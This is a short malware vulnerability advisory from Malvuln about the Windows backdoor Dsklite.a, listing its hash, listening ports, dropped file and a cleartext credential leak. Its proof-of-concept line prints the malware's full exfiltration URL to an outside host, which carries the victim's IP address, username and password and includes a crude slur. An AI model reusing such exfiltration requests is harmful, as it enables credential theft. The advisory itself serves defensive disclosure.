Discovery / credits: Malvuln - malvuln.com (c) 2021 Original source: https://malvuln.com/advisory/6c9665de78ae60a8e057d2c9cdb91596_B.txt Contact: malvuln13@gmail.com Media: twitter.com/malvuln Threat: Backdoor.Win32.Dsklite.a Vulnerability: Insecure Transit Description: The malware listens on TCP ports 890, 891 and makes an outbound HTTP request passing the ip-address, username and credentials of the infected system in cleartext as part of the URL query string. Type: PE32 MD5: 6c9665de78ae60a8e057d2c9cdb91596 Vuln ID: MVID-2022-0445 Dropped files: winlogon.exe Disclosure: 01/05/2022 Exploit/PoC: http://alch.port5.com/cgi-bin/log.cgi?action=log&ip=192.168.18.129&port=890&vicname=CockSucker&server=DSK%20v1&password=nhn221c5&usrname=gg Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).